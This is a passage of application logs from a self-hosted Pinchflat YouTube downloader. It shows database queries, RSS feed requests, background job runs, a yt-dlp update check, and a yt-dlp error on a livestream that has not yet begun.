m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1577908] 16:51:37.554 [info] Sent 200 in 70ms 16:51:37.713 [info] GET /settings 16:51:37.713 [debug] Processing with PinchflatWeb.Settings.SettingController.show/2 Parameters: %{} Pipelines: [:browser] 16:51:37.714 [debug] QUERY OK source="settings" db=0.1ms idle=599.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:51:37.714 [debug] QUERY OK source="settings" db=0.0ms idle=229.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:51:37.714 [debug] QUERY OK source="settings" db=0.0ms idle=219.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:51:37.714 [debug] QUERY OK source="settings" db=0.0ms idle=164.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:51:37.715 [info] Sent 200 in 1ms 16:51:45.135 [info] {"source":"oban","duration":9761,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 16:52:00.418 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[5268331]} 16:52:00.424 [info] {"args":{},"id":5268331,"meta":{"cron":true,"cron_expr":"52 21 * * *","cron_tz":"Etc/UTC"},"system_time":1791582720424205457,"max_attempts":20,"queue":"local_data","worker":"Pinchflat.YtDlp.UpdateWorker","source":"oban","event":"job:start","attempt":1,"tags":["local_data"]} 16:52:00.424 [info] Updating yt-dlp 16:52:00.424 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: --update 16:52:01.098 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: --update exited: 0 with: Latest version: stable@2026.08.19 from yt-dlp/yt-dlp yt-dlp is up to date (stable@2026.08.19 from yt-dlp/yt-dlp) 16:52:01.098 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: --version 16:52:01.596 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: --version exited: 0 with: 2026.08.19 16:52:01.597 [debug] QUERY OK source="settings" db=0.8ms idle=1902.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:52:01.597 [info] {"args":{},"id":5268331,"meta":{"cron":true,"cron_expr":"52 21 * * *","cron_tz":"Etc/UTC"},"state":"success","max_attempts":20,"queue":"local_data","worker":"Pinchflat.YtDlp.UpdateWorker","source":"oban","duration":1173531,"event":"job:stop","queue_time":423761,"attempt":1,"tags":["local_data"]} 16:52:03.314 [info] GET /sources 16:52:03.314 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 16:52:03.314 [debug] QUERY OK source="settings" db=0.1ms idle=1175.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:52:03.314 [debug] QUERY OK source="settings" db=0.0ms idle=620.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:52:03.315 [debug] QUERY OK source="settings" db=0.0ms idle=621.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:52:03.315 [debug] QUERY OK source="settings" db=0.0ms idle=621.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:52:03.315 [debug] QUERY OK source="settings" db=0.0ms idle=175.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:52:03.353 [debug] QUERY OK source="sources" db=37.6ms idle=0.9ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 16:52:03.391 [debug] QUERY OK source="sources" db=37.5ms idle=38.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 16:52:03.392 [info] Sent 200 in 78ms 16:52:12.566 [info] GET /sources/4893f34e-338f-4b8b-a53c-d58258d7b402/feed.xml 16:52:12.566 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "4893f34e-338f-4b8b-a53c-d58258d7b402"} Pipelines: [:maybe_basic_auth] 16:52:12.567 [debug] QUERY OK source="sources" db=0.1ms idle=1873.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["4893f34e-338f-4b8b-a53c-d58258d7b402"] 16:52:12.584 [debug] QUERY OK source="media_items" db=16.9ms idle=1873.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [10, 2000] 16:52:12.653 [debug] QUERY OK source="source_metadata" db=0.1ms idle=1959.2ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [10] 16:52:12.653 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1505.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1577902] 16:52:12.657 [info] Sent 200 in 91ms 16:52:15.145 [info] {"source":"oban","duration":9997,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:52:26.975 [info] GET /app_info 16:52:26.975 [debug] Processing with PinchflatWeb.Settings.SettingController.app_info/2 Parameters: %{} Pipelines: [:browser] 16:52:26.976 [debug] QUERY OK source="settings" db=0.0ms idle=1282.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:52:26.976 [debug] QUERY OK source="settings" db=0.0ms idle=1282.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:52:26.976 [debug] QUERY OK source="settings" db=0.0ms idle=1282.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:52:26.976 [debug] QUERY OK source="settings" db=0.0ms idle=813.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:52:26.976 [debug] QUERY OK source="settings" db=0.0ms idle=282.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:52:26.977 [info] Sent 200 in 1ms 16:52:30.752 [info] GET /sources/8586e223-fac7-416b-9446-28a22d8d023c/feed.xml 16:52:30.752 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "8586e223-fac7-416b-9446-28a22d8d023c"} Pipelines: [:maybe_basic_auth] 16:52:30.752 [debug] QUERY OK source="sources" db=0.1ms idle=585.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["8586e223-fac7-416b-9446-28a22d8d023c"] 16:52:30.764 [debug] QUERY OK source="media_items" db=11.7ms idle=58.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [14, 2000] 16:52:30.835 [debug] QUERY OK source="source_metadata" db=0.1ms idle=141.0ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [14] 16:52:30.835 [debug] QUERY OK source="media_metadata" db=0.0ms idle=141.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1577914] 16:52:30.838 [info] Sent 200 in 86ms 16:52:32.859 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Wzir-lrTI9A --simulate --skip-download --output /downloads/Tick Talk w/ Eric Migicovsky/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/10/77/107787a04355e6620ae68993e3cda0b5b69786c7c5c2315084c9f55e90b86b97.json --sleep-requests 65 --sleep-interval 63 --sleep-subtitles 85 --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] Wzir-lrTI9A: This live event will begin in a few moments. 16:52:32.859 [error] Error creating media item 'Wzir-lrTI9A' from URL: {:error, "ERROR: [youtube] Wzir-lrTI9A: This live event will begin in a few moments.\n", 1} 16:52:32.859 [debug] QUERY OK source="media_items" db=0.2ms idle=690.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [42] 16:52:32.860 [debug] QUERY OK source="tasks" db=0.1ms idle=166.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268332, 42, ~U[2026-10-09 21:52:32Z], ~U[2026-10-09 21:52:32Z]] 16:52:33.140 [info] {"args":{"id":42},"id":5268291,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":66750755,"event":"job:stop","queue_time":325496,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:52:44.533 [info] GET /media_profiles 16:52:44.533 [debug] Processing with PinchflatWeb.MediaProfiles.MediaProfileController.index/2 Parameters: %{} Pipelines: [:browser] 16:52:44.534 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1839.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", (SELECT count(ss0."id") AS "result" FROM "sources" AS ss0 WHERE (ss0."media_profile_id" = m0."id")) FROM "media_profiles" AS m0 WHERE (m0."marked_for_deletion_at" IS NULL) ORDER BY m0."name" [] 16:52:44.534 [debug] QUERY OK source="settings" db=0.1ms idle=1840.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:52:44.534 [debug] QUERY OK source="settings" db=0.0ms idle=1840.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:52:44.534 [debug] QUERY OK source="settings" db=0.0ms idle=1352.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:52:44.535 [info] Sent 200 in 1ms 16:52:45.156 [info] {"source":"oban","duration":9801,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:52:50.769 [info] GET /sources/45 16:52:50.769 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "45"} Pipelines: [:browser] 16:52:50.769 [debug] QUERY OK source="sources" db=0.1ms idle=1075.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [45] 16:52:50.769 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1075.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:52:52.556 [debug] QUERY OK source="tasks" db=1786.3ms idle=1075.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [45, "executing", "available", "scheduled", "retryable"] 16:52:52.556 [debug] QUERY OK source="oban_jobs" db=0.1ms idle=1786.9ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" IN (?,?)) [5264421, 5172074] 16:52:52.556 [debug] QUERY OK source="settings" db=0.0ms idle=1787.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:52:52.556 [debug] QUERY OK source="settings" db=0.0ms idle=1366.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:52:52.557 [debug] QUERY OK source="settings" db=0.0ms idle=365.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:52:52.557 [debug] QUERY OK source="sources" db=0.0ms idle=1.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [45] 16:52:52.558 [debug] QUERY OK source="media_items" db=1.1ms idle=1.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [45] 16:52:52.560 [debug] QUERY OK source="media_items" db=1.0ms idle=2.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND 